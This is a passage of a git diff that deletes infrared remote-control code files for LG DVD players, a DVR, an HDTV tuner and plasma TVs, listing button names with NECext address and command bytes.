00 00 -command: 59 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5A 00 00 00 -# -name: VIDEO_PIP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5F 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 61 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 62 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 64 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 67 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 75 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 76 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 79 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: A_(RED) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: RED_-_A -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: COLOR_1_RED -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: B_(GREEN) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: GREEN_-_B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: COLOR_2_GREEN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: C_(YELLOW) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: YELLOW_-_C -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: COLOR_3_YELLOW -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: D_(BLUE) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: BLUE_-_D -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: COLOR_4_BLUE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C0 00 00 00 -# -name: CURSOR_LEFT_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C1 00 00 00 -# -name: CURSOR_RIGHT_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C2 00 00 00 -# -name: CURSOR_LEFT_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C3 00 00 00 -# -name: CURSOR_RIGHT_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C4 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F5 00 00 00 -# -name: POP_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F6 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F7 00 00 00 -# -name: RESUME_PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F8 00 00 00 -# -name: MUSIC_ID -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir deleted file mode 100644 index 01c54fa2a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 10 00 00 -command: F8 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 10 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir deleted file mode 100644 index 3d0b4f85e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir deleted file mode 100644 index 5d5fb04a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir +++ /dev/null @@ -1,524 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: DVD_POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: SCAN<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN_BACK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: TRACK_FORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: TRACK_BACK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 36 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3F 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 40 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 41 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 42 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 43 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 44 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 45 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 46 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 47 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 48 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: TITLE/POPUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 50 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 51 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 53 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 56 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 56 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 57 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 59 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5A 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5E 00 00 00 -# -name: VIDEO_PIP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5F 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 61 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 62 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 64 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 67 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 75 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 76 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 79 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: RED_BUTTON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: A_(RED) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: GREEN_BUTTON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: B_(GREEN) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: YELLOW_BUTTON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: C_(YELLOW) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: BLUE_BUTTON -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: D_(BLUE) -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C0 00 00 00 -# -name: CURSOR_LEFT_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C1 00 00 00 -# -name: CURSOR_RIGHT_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C2 00 00 00 -# -name: CURSOR_LEFT_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C3 00 00 00 -# -name: CURSOR_RIGHT_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: C4 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F5 00 00 00 -# -name: POP_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F6 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F6 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F7 00 00 00 -# -name: RESUME_PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir deleted file mode 100644 index 8168f076f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 36 00 00 00 -# -name: PAUSE/STEP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3F 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 40 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 41 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 42 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 43 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 44 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 45 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 46 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 47 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 48 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: MENU/LIST -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 50 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 51 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 53 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 59 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5A 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5F 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 61 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 62 00 00 00 -# -name: 3D_SURR. -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 63 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 64 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 67 00 00 00 -# -name: DUBBING -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 68 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B0 00 00 00 -# -name: I.SKIP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B5 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B6 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B7 00 00 00 -# -name: REC_MODE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B8 00 00 00 -# -name: TIMESHIFT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B9 00 00 00 -# -name: THUMBNAIL -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: BA 00 00 00 -# -name: CHP_ADD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: BB 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: BE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir deleted file mode 100644 index ff9c34ff9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D0 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D1 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D2 00 00 00 -# -name: NATIVE -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D3 00 00 00 -# -name: VARIABLE_1 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D4 00 00 00 -# -name: VARIABLE_2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D5 00 00 00 -# -name: VARIABLE_3 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D6 00 00 00 -# -name: 1080I -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D7 00 00 00 -# -name: 720P -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D8 00 00 00 -# -name: 480P -type: parsed -protocol: NECext -address: F7 00 00 00 -command: D9 00 00 00 -# -name: 480I -type: parsed -protocol: NECext -address: F7 00 00 00 -command: DA 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: F7 00 00 00 -command: DB 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: F7 00 00 00 -command: DC 00 00 00 -# -name: YPBPR_COMPONENT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: DD 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: F7 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir deleted file mode 100644 index e7594fbb7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir deleted file mode 100644 index 905ebae88..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir +++ /dev/null @@ -1,566 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: I/II -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV_/_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: FLASHBACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Q.VIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: FRC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: TEXT_TIME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: TEXT_REVEAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: CAPTION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: DASH- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: -- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: APC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_D/A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: DASP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: A._PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: MEMORY/ERASE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: PIP/_DW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: COLOR_4_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: PIP_INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: TEXT_UPDATE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 62 00 00 00 -# -name: WINDOW_POSITION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 62 00 00 00 -# -name: COLOR_3_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: WINDOW_SIZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 64 00 00 00 -# -name: TEXT_HOLD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: TEXT_INDEX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 70 00 00 00 -# -name: COLOR_2_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: COLOR_1_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CH_- -type: parsed -protocol: NECext -address: 04 00 